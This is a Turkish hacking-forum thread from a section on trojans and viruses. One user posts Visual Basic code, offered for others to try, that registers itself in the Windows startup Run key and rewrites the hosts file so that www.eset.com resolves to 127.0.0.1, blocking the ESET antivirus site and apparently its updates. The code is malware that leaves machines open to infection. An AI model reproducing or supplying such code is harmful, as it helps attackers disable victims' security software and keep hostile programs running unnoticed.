İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

eset antivirus güncelleme engelleme

30-03-2016 22:49
#1
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.357
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Konular:
207
Ticaret:
(0) %
bu program eset antivirusun sitesini engelliyor arkadaşlar belki guncellen mesinide engeller merak edenler için kodu aşağıda




Kod:
Private Sub Form_Load()
Dim Startup_key As String

Startup_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"

Dim Reg As Object

Set Reg = CreateObject("wscript.shell")

Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Dim dizin As String
Dim yerayır As String
Dim site As String
Dim site2 As String
dizin = Environ("windir") & "\system32\drivers\etc\hosts"
Open dizin For Binary As 1
yerayır = Space(FileLen(dizin))
Get 1, , yerayır
Close 1
site = vbNewLine & "127.0.0.1 www.eset.com "

Open dizin For Binary As 1
Put 1, , yerayır & site
Close 1
End Sub

30-03-2016 22:56
#2
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.357
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Konular:
207
Ticaret:
(0) %
deneyen vrmı?

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı